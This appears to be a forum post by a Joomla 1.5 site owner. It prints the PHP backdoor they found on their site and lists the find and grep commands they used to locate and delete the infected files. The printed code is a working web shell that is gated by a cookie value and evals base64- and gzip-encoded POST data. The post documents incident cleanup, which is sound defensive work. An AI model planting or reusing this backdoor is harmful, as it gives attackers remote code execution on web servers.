I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:
<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
echo '<textarea id=areatext>';
eval($msg);
echo '</textarea>bg';
exit;
}}
I used the following commands to list them and remove them:
find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm
